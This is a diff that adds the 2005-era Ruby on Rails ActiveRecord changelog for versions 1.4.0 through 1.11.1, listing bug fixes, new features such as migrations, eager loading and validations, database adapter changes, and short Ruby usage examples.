+* Make destroy return self #1913 [sebastian.kanthak at muehlheim.de]
+
+* Fix typo in validations documentation #1938 [court3nay]
+
+* Make acts_as_list work for insert_at(1) #1966 [hensleyl at papermountain.org]
+
+* Fix typo in count_by_sql documentation #1969 [Alexey Verkhovsky]
+
+* Allow add_column and create_table to specify NOT NULL #1712 [emptysands at gmail.com]
+
+* Fix create_table so that id column is implicitly added [Rick Olson]
+
+* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
+
+* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
+
+* Fixed the handling of camelCase columns names in Oracle #1798
+
+* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
+
+* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
+
+* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Luetke]
+
+    class Comment < AR:B
+      def self.search(q)
+        find(:all, :conditions => ["body = ?", q])
+      end
+    end 
+
+    class Post < AR:B
+      has_many :comments
+    end
+
+    Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
+  
+  NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
+  by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
+  details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
+  noticed :)
+
+* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 [Sam Stephenson]
+
+* Remove extra definition of supports_migrations? from abstract_adaptor.rb [Nicholas Seckar]
+
+* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
+
+* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 [Maik Schmidt]
+
+* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 [Stefan Kaes]
+
+
+*1.11.1* (11 July, 2005)
+
+* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olsen]
+
+* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 [tyler at kianta.com]
+
+* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 [Sam Stephenson]
+
+* Correct reflected table name for singular associations.  #1688 [court3nay at gmail.com]
+
+* Fixed optimistic locking with SQL Server #1660 [tom at popdog.net]
+
+* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
+
+* Added better error message for "packets out of order" #1630 [courtenay]
+
+* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
+
+
+*1.11.0* (6 July, 2005)
+
+* Fixed that Yaml error message in fixtures hid the real error #1623 [Nicholas Seckar]
+
+* Changed logging of SQL statements to use the DEBUG level instead of INFO
+
+* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Luetke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
+
+* Added callback hooks to association collections #1549 [Florian Weber]. Example:
+
+    class Project
+      has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
+    
+      def evaluate_velocity(developer)
+        ...
+      end
+    end 
+  
+  ..raising an exception will cause the object not to be added (or removed, with before_remove).
+    
+
+* Fixed Base.content_columns call for SQL Server adapter #1450 [DeLynn Berry]
+
+* Fixed Base#write_attribute to work with both symbols and strings #1190 [Paul Legato]
+
+* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 [Florian Weber]
+
+* Speed up ActiveRecord#method_missing for the common case (read_attribute).
+
+* Only notify observers on after_find and after_initialize if these methods are defined on the model.  #1235 [skaes at web.de]
+
+* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 [Chris McGrath]
+
+* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 [raidel at onemail.at]
+
+* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [michael at schuerig.de]
+
+* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 [DeLynn Berry]
+
+* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 [Mark Imbriaco/DeLynn Berry]
+
+* Fixed that multiparameter posts ignored attr_protected #1532 [alec+rails at veryclever.net]
+
+* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 [flash at vanklinkenbergsoftware.nl]
+
+* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie at gmail.com]. What used to be:
+
+    Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
+  
+  ...should instead be:
+  
+    Developer.find(
+      :all, 
+      :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id', 
+      :conditions => 'project_id=1'
+    )    
+
+* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina]
+
+* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 [cluon]
+
+* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
+
+* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 [Alisdair McDiarmid]
+
+* Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
+
+* Allow any Enumerable, not just Array, to work as bind variables #1344 [Jeremy Kemper]
+
+* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
+  Example:
+
+    david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
+    david.save
+  
+  If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
+  project is saved when david.save is called.
+  
+  Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
+  
+    david.project_ids = [1, 5, 7]
+
+* Corrected typo in find SQL for has_and_belongs_to_many.  #1312 [ben at bensinclair.com]
+
+* Fixed sanitized conditions for has_many finder method.  #1281 [jackc at hylesanderson.com, pragdave, Tobias Luetke]
+
+* Comprehensive PostgreSQL schema support.  Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables.  This allows you, for example, to have tables in a shared schema without having to use a custom table name.  See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more.  #827 [dave at cherryville.org]
+
+* Corrected @@configurations typo #1410 [david at ruppconsulting.com]
+
+* Return PostgreSQL columns in the order they were declared #1374 [perlguy at gmail.com]
+
+* Allow before/after update hooks to work on models using optimistic locking 
+
+* Eager loading of dependent has_one associations won't delete the association #1212
+
+* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
+
+* Using transactional fixtures now causes the data to be loaded only once.
+
+* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
+
+    fixtures :web_sites
+
+    def test_something
+      assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+    end
+
+* Added DoubleRenderError exception that'll be raised if render* is called twice #518 [Nicholas Seckar]
+
+* Fixed exceptions occuring after render has been called #1096 [Nicholas Seckar]
+
+* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make "  " fail the validation where it didn't before #1309
+
+* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
+
+* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
+
+  Conditional validations such as the following are made possible:
+    validates_numericality_of :income, :if => :employed?
+
+  Conditional validations can also solve the salted login generator problem:
+    validates_confirmation_of :password, :if => :new_password?
+  
+  Using blocks:
+    validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
+
+* Fixed use of construct_finder_sql when using :join #1288 [dwlt at dwlt.net]
+
+* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 [Rick Olson]
+
+* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 [Jeremy Kemper]
+
+* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
+
+* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
+
+* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
+
+    # SELECT * FROM topics WHERE title IN ('First', 'Second')
+    Topic.find_all_by_title(["First", "Second"])
+
+* Added compatibility with camelCase column names for dynamic finders #533 [Dee.Zsombor]
+
+* Fixed extraneous comma in count() function that made it not work with joins #1156 [jarkko/Dee.Zsombor]
+
+* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 [Alisdair McDiarmid]
+
+* Fixed that validate_length_of lost :on option when :within was specified #1195 [jhosteny at mac.com]
+
+* Added encoding and min_messages options for PostgreSQL #1205 [shugo]. Configuration example:
+
+    development:
+      adapter: postgresql
+      database: rails_development
+      host: localhost
+      username: postgres
+      password:
+      encoding: UTF8
+      min_messages: ERROR
+
+* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 [Jamis Buck]
+
+* Added validates_exclusion_of as a negative of validates_inclusion_of
+
+* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
+
+
+*1.10.1* (20th April, 2005)
+
+* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
+
+* Fixed order of loading in eager associations
+
+* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
+
+
+*1.10.0* (19th April, 2005)
+
+* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
+
+    for post in Post.find(:all, :limit => 100)
+      puts "Post:            " + post.title
+      puts "Written by:      " + post.author.name
+      puts "Last comment on: " + post.comments.first.created_on
+    end
+  
+  This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
+  
+    for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
+ 
+  ...and the number of database queries needed is now 1.
+
+* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
+
+    Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
+    Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
+    Person.find(:first, :order => "created_on DESC", :offset => 5)
+    Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
+    Person.find(:all, :offset => 10, :limit => 10)
+
+* Added acts_as_nested_set #1000 [wschenk]. Introduction:
+
+    This acts provides Nested Set functionality.  Nested Set is similiar to Tree, but with
+    the added feature that you can select the children and all of it's descendants with
+    a single query.  A good use case for this is a threaded post system, where you want
+    to display every reply to a comment without multiple selects.
+
+* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [After much pestering from Dave Thomas]
+
+* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 [gnuman1 at gmail.com]
+
+* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 [andrew.john.peters at gmail.com]
+
+* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 [stephenh at chase3000.com]
+
+* Fixed page caching for non-vhost applications living underneath the root #1004 [Ben Schumacher]
+
+* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 [adelle]
+
+* Added the option to specify the acceptance string in validates_acceptance_of #1106 [caleb at aei-tech.com]
+
+* Added insert_at(position) to acts_as_list #1083 [DeLynnB]
+
+* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
+
+* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 [yon at milliped.com]
+
+* Fixed boolean saving on Oracle #1093 [mparrish at pearware.org]
+
+* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
+
+* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 [Leon Bredt]
+
+* Added quoting of column names for fixtures #997 [jcfischer at gmail.com]
+
+* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 [Caleb Tennis]
+
+* Fixed that benchmarking times for rendering included db runtimes #987 [skaes at web.de]
+
+* Fixed boolean queries for t/f fields in PostgreSQL #995 [dave at cherryville.org]
+
+* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 [Jeremy Kemper]
+
+* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 [dave at cherryville.org]
+
+* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [skaes at web.de]
+
+* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [skaes at web.de]
+
+* Fixed bug in Base#hash method that would treat records with the same string-based id as different [Dave Thomas]
+
+* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
+
+
+*1.9.1* (27th March, 2005)
+
+* Fixed that Active Record objects with float attribute could not be cloned #808
+
+* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 [Nicholas Seckar]
+
+* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
+
+* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 [Scott Barron]
+
+* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 [delynnb]
+
+
+*1.9.0* (22th March, 2005)
+
+* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
+
+    Developer.find_all nil, 'id ASC', 5      # return the first five developers 
+    Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
+    
+  This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged. 
+
+* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 [Nicholas Seckar/Sam Stephenson]
+
+* Improved the performance of the OCI8 adapter for Oracle #723 [pilx/gjenkins]
+
+* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 [dave at cherryville.org]
+
+* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 [mindel]
+
+* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 [Alisdair McDiarmid]
+
+* Added the possibility of specifying fixtures in multiple calls #816 [kim at tinker.com]
+
+* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 [stian at grytoyr.net]
+
+* Added optionally allow for nil or empty strings with validates_numericality_of #801 [Sebastian Kanthak]
+
+* Fixed problem with using slashes in validates_format_of regular expressions #801 [Sebastian Kanthak]
+
+* Fixed that SQLite3 exceptions are caught and reported properly #823 [yerejm]
+
+* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
+
+* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
+
+
+*1.8.0* (7th March, 2005)
+
+* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
+
+* Added support for timestamp with time zone in PostgreSQL #560 [Scott Barron]
+
+* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
+
+   * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the 
+     +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+ 
+     objects that should be inspected to determine which attributes triggered the errors.
+   * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
+     You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
+
+* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 [rodrigo k]
+
+* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 [Jeremy Kemper]
+
+* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
+
+    class Account < ActiveRecord::Base
+      has_one :credit_card, :dependent => true
+    end
+    class CreditCard < ActiveRecord::Base
+      belongs_to :account
+    end
+
+    account.credit_card # => returns existing credit card, lets say id = 12
+    account.credit_card = CreditCard.create("number" => "123")
+    account.save # => CC with id = 12 is destroyed
+
+
+* Added validates_numericality_of #716 [skanthak/c.r.mcgrath]. Docuemntation:
+
+    Validates whether the value of the specified attribute is numeric by trying to convert it to
+    a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
+    <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
+    
+      class Person < ActiveRecord::Base
+        validates_numericality_of :value, :on => :create
+      end
+    
+    Configuration options:
+    * <tt>message</tt> - A custom error message (default is: "is not a number")
+    * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
+    * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
+    
+
+* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 [Scott Barron]
+
+* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
+
+* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 [james at slashetc.com]
+
+
+*1.7.0* (24th February, 2005)
+
+* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 [Jamis Buck]
+
+* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
+
+    1.  Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
+        and safe way of passing table-specific sequence information to the adapter.)
+    2.  Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
+        resort to some hacks to get data converted to Date or Time in Ruby.
+        If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
+        hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
+        This is nasty - but if you use Duck Typing you'll probably not care very much.
+        In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
+        valid - too many databases use DATE for both.
+        Timezones and sub-second precision on timestamps are not supported.
+    3.  Default values that are functions (such as "SYSDATE") are not supported. This is a
+        restriction of the way active record supports default values.
+    4.  Referential integrity constraints are not fully supported. Under at least
+        some circumstances, active record appears to delete parent and child records out of
+        sequence and out of transaction scope. (Or this may just be a problem of test setup.)
+
+  The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
+
+* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 [YuriSchimke]
+
+* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 [yerejm]
+
+* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 [tonka]
+
+* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 [Nicholas Seckar]
+
+* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 [daniel at nightrunner.com]
+
+* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 [adelle at bullet.net.au]
+
+* Fixed that find_by_* would fail when column names had numbers #670 [demetrius]
+
+* Fixed the SQL Server adapter on a bunch of issues #667 [DeLynn]
+
+    1. Created a new columns method that is much cleaner. 
+    2. Corrected a problem with the select and select_all methods 
+       that didn't account for the LIMIT clause being passed into raw SQL statements. 
+    3. Implemented the string_to_time method in order to create proper instances of the time class. 
+    4. Added logic to the simplified_type method that allows the database to specify the scale of float data. 
+    5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
+
+* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow at yahoo.com]
+
+* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
+    
+    class Person < ActiveRecord::Base
+      validates_each :first_name, :last_name do |record, attr|
+        record.errors.add attr, 'starts with z.' if attr[0] == ?z
+      end
+    end
+
+* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 [Jeremy Kemper]
+
+* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
+
+    class Person < ActiveRecord::Base
+      validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
+    end
+
+* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 [Tim Bates]
+
+* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
+
+    class Project < ActiveRecord::Base
+      primary_key "sysid"
+      table_name "XYZ_PROJECT"
+      inheritance_column { original_inheritance_column + "_id" }
+    end
+
+* Fixed Base#clone for use with PostgreSQL #565 [hanson at surgery.wisc.edu]
+
+
+*1.6.0* (January 25th, 2005)
+
+* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
+
+* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
+
+* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
+
+* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
+
+    people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
+    Person.update(people.keys, people.values)
+
+* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 [Scott Baron]
+
+* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 [notahat]
+
+* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 [Demetrius]
+
+* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 [Jeremy Kemper]
+
+* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 [Eric Anderson]
+
+* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 [Eric Anderson]
+
+* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
+
+* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
+
+* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 [Demetrius]
+
+* Fixed that find_all would produce invalid sql when called sequentialy #490 [Scott Baron]
+
+
+*1.5.1* (January 18th, 2005)
+
+* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 [Tim Bates]
+
+* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 [Pelle]
+
+
+*1.5.0* (January 17th, 2005)
+
+* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 [Eric Hodel]
+
+* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
+
+    class Book < ActiveRecord::Base
+      has_many :pages
+      belongs_to :library
+    
+      validates_associated :pages, :library
+    end
+    
+* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
+
+    == Unsaved objects and associations
+    
+    You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
+    aware of, mostly involving the saving of associated objects.
+    
+    === One-to-one associations
+    
+    * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
+      order to update their primary keys - except if the parent object is unsaved (new_record? == true).
+    * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
+      is cancelled.
+    * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
+    * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
+      not save the parent either.
+    
+    === Collections
+    
+    * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
+      (the owner of the collection) is not yet stored in the database.
+    * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
+    * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
+    * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
+
+* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 [Tim Bates]
+
+* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 [Tim Bates]
+
+* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 [Tim Bates]
+
+* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 [Tim Bates]
+
+* Fixed binary support for PostgreSQL #444 [alex at byzantine.no]
+
+* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the 
+  collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If 
+  it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards, 
+  it'll take one less SELECT query if you use length.
+
+* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 [atyp.de]
+
+* Fixed that foreign keys named the same as the association would cause stack overflow #437 [Eric Anderson]
+
+* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 [Alexey]
+
+* Added Base#reload that reloads the attributes of an object from the database #422 [Andreas Schwarz]
+
+* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 [Jeremy Kemper]
+
+* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 [Matt Mower] 
+
+* Added that Observers can use the observes class method instead of overwriting self.observed_class().
+
+    Before:
+      class ListSweeper < ActiveRecord::Base
+        def self.observed_class() [ List, Item ]
+      end
+    
+    After:
+      class ListSweeper < ActiveRecord::Base
+        observes List, Item
+      end
+
+* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
+
+* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
+
+* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
+
+    Before: topic.update_attribute(:approved, !approved?)
+    After : topic.toggle!(:approved)
+
+* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
+
+    page.views # => 1
+    page.increment!(:views) # executes an UPDATE statement
+    page.views # => 2
+    
+    page.increment(:views).increment!(:views)
+    page.views # => 4
+
+* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
+
+
+*1.4.0* (January 4th, 2005)
+
+* Added automated optimistic locking if the field <tt>lock_version</tt> is present.  Each update to the
+  record increments the lock_version column and the locking facilities ensure that records instantiated twice
+  will let the last one saved raise a StaleObjectError if the first was also updated. Example:
+  
+    p1 = Person.find(1)
+    p2 = Person.find(1)
+    
+    p1.first_name = "Michael"
+    p1.save
+    
+    p2.first_name = "should fail"
+    p2.save # Raises a ActiveRecord::StaleObjectError
+  
+  You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
+  or otherwise apply the business logic needed to resolve the conflict.
+
+  #384 [Michael Koziarski]
+
+* Added dynamic attribute-based finders as a cleaner way of getting objects by simple queries without turning to SQL. 
+  They work by appending the name of an attribute to <tt>find_by_</tt>, so you get finders like <tt>Person.find_by_user_name,
+  Payment.find_by_transaction_id</tt>. So instead of writing <tt>Person.find_first(["user_name = ?", user_name])</tt>, you just do
+  <tt>Person.find_by_user_name(user_name)</tt>.
+  
+  It's also possible to use multiple attributes in the same find by separating them with "_and_", so you get finders like
+  <tt>Person.find_by_user_name_and_password</tt> or even <tt>Payment.find_by_purchaser_and_state_and_country</tt>. So instead of writing
+  <tt>Person.find_first(["user_name = ? AND password = ?", user_name, password])</tt>, you just do 
+  <tt>Person.find_by_user_name_and_password(user_name, password)</tt>.
+
+  While primarily a construct for easier find_firsts, it can also be used as a construct for find_all by using calls like 
+  <tt>Payment.find_all_by_amount(50)</tt> that is turned into <tt>Payment.find_all(["amount = ?", 50])</tt>. This is something not as equally useful,
+  though, as it's not possible to specify the order in which the objects are returned.
+
+* Added block-style for callbacks #332 [Jeremy Kemper].
+
+    Before:
+      before_destroy(Proc.new{ |record| Person.destroy_all "firm_id = #{record.id}" })
+    
+    After:
+      before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" }
+
+* Added :counter_cache option to acts_as_tree that works just like the one you can define on belongs_to #371 [Josh]
+
+* Added Base.default_timezone accessor that determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates 
+  and times from the database. This is set to :local by default.
+
+* Added the possibility for adapters to overwrite add_limit! to implement a different limiting scheme than "LIMIT X" used by MySQL, PostgreSQL, and SQLite.
+
+* Added the possibility of having objects with acts_as_list created before their scope is available or...
+
+* Added a db2 adapter that only depends on the Ruby/DB2 bindings (http://raa.ruby-lang.org/project/ruby-db2/) #386 [Maik Schmidt]
+
